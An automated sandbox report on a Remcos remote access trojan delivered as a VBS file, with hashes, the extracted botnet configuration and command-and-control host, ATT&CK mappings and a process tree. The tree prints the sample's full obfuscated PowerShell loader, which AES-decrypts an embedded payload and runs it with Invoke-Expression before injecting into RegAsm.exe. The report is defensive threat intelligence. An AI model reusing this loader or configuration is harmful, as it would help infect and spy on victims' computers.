remcos | 340a2947b74a3096876dfb185c8677cb068088ea1838dd1a0aa69afccc1eb821

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
29/07/2024, 16:50

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General

Target
340a2947b74a3096876dfb185c8677cb068088ea1838dd1a0aa69afccc1eb821.vbs
Size 553KB
Sample240729-vb7x6atajg
SHA256 340a2947b74a3096876dfb185c8677cb068088ea1838dd1a0aa69afccc1eb821
MD5 71f7a0bbab34b022b1f635459a3f7502
SHA1 5fc386a46feea42fa4e15244e641285dd01f6e9a
SHA512 25a55018fbf7026d966145290a23adc59a6a54b4a12c4c7e29fc31025ff48baa338bbe29266ff4cdc64ec50d6f2a22567e13f662f55621baf21718fc6d5828c3
SSDEEP 3072:tHGWwfyYFPhNe4VTdRnTT8w4TWVTqAdeGQg/5p1Wgg1S7jc3uBCT4hO39jE1iM:TwfyYF7Tq6
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

juiololo.duckdns.org:2432

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ASL9YV
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	3544	powershell.exe
26	3544	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3544	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3544	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3544 set thread context of 3904	3544	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3544	powershell.exe
3544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3544	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 3544	2708	WScript.exe	84
PID 2708 wrote to memory of 3544	2708	WScript.exe	84
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96
PID 3544 wrote to memory of 3904	3544	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\340a2947b74a3096876dfb185c8677cb068088ea1838dd1a0aa69afccc1eb821.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI10466798735298869081046767452167CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIASDmQvOxScd+lknrGUjQjwTS7y7PXwHbRBRVEkZvl6GIsP/vlXZ4+9pPi9hkjCEpQJgikjHCPSrdjBeA/rJA9GOwrl2aJdlPNI+hK2v0xBCB0X/mSS00MPAdezIP5Lz9QPivqGdGyAqDwctUkLFAnkuZiTjxyjRffWkVNsDyav3mwMiRzIXu0yBKuiP/y/D4zBJcmsbW/3/Py8BVVAQwQG7/3Dy/ApeH1RnzGqsxCLW/NSa+2feKvIAb5pSCyao6NcFQPuojqYQO8MEfhKmhOGqQ2sktG/aZwCoacTfd9ig4y3UWU6uJb0dsUEKdciF88uy5D9Kl96A9PER7mfnFHe9U9zIjcoo6Ee8sWRLtK3VUpxEEhvPuZjttSghTLRO0hbwQtZ15oMSk20AmaAjMadrsvd8hxL0MsOlUpOSAqijP7TYv2bdFU+/PiEUOuw6bNQ0OTTZwXy0DS8QORIf+4VWkC8eojvMWhTyY+fmw+Zl6ZoAIAzOzlftO7lQZdCPGWauaZUuxU2n1B7NIkJo/uYQ0bpvV0XFtRMvZtWEdgLQqnE53Mz/QUoFe0jOT9xUeKri2c5CoOXQT49qIzKk/SiWpk/kx6r6+VYlomoZ/hmLoXh2dqN05jNSE7h0o2G0/ek377B8iAvjsqYtI4USifa5nseozlVejt7f0jFskNEW1M3NxmctW5NkOC5ReBwgHgVtrnZ/oRIFcwyNpL+VNEC1kfNfC6OPH66awMiR03TKZUaAPihqMUkNYqdut0YaGZzyqf2dN9bu9mdeA0MH06Kr7MfSb4bUOv4pikkdtotu02BQBuLhyrxL3lehh892UH9snwudQ3+4M3tepOGSmY1adBArp7iG+i8dN6cFjmXYWwavnE354wIfwrqM03wZ95aN+mhnIbQRlaJ//J7GgOum4sabKg8+fPo2XJfNoA0fnBvfS6KgvqhbOVosf9rwzkHl201apZkKG0GaLuiPnfXDc/TFR9PVm/E7qR7GqC4vaHHasCRNjV/N/qUomPbSPSHv6HH8R95nCfo++KqhNDDOjVR6HXJGv9cW7OG4b3Lm6YLim7mbQchPVsjA3n9DU8b+Sutfdm6PG5utw+qBYQdkRgG8XtNofFuYNHGeNtIExZq0Zotl8xzlOJjS8FGZHG9d17usWmd7tHE9mCLsXge6VbrKGVeN0MWSqA7dGz6zF8/j+5CWPKE0XmewkrdYVFwnP33VtUww+kmW/t5dWDAQLhsHEVixljPMpUIStFOg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_zv0joibp.eb4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zv0joibp.eb4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3544-18-0x00007FFFE2E00000-0x00007FFFE38C1000-memory.dmp

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memory/3544-1-0x0000013EEF6D0000-0x0000013EEF6F2000-memory.dmp

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memory/3544-11-0x00007FFFE2E00000-0x00007FFFE38C1000-memory.dmp

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memory/3544-12-0x00007FFFE2E00000-0x00007FFFE38C1000-memory.dmp

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memory/3544-13-0x00007FFFE2E00000-0x00007FFFE38C1000-memory.dmp

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memory/3544-14-0x0000013EEFC70000-0x0000013EEFD92000-memory.dmp

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memory/3544-0-0x00007FFFE2E03000-0x00007FFFE2E05000-memory.dmp

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memory/3904-23-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-29-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-20-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-22-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-15-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-24-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-25-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-27-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-26-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-19-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-31-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-30-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-32-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-33-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-34-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-37-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-38-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-39-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3904-40-0x0000000000400000-0x0000000000482000-memory.dmp

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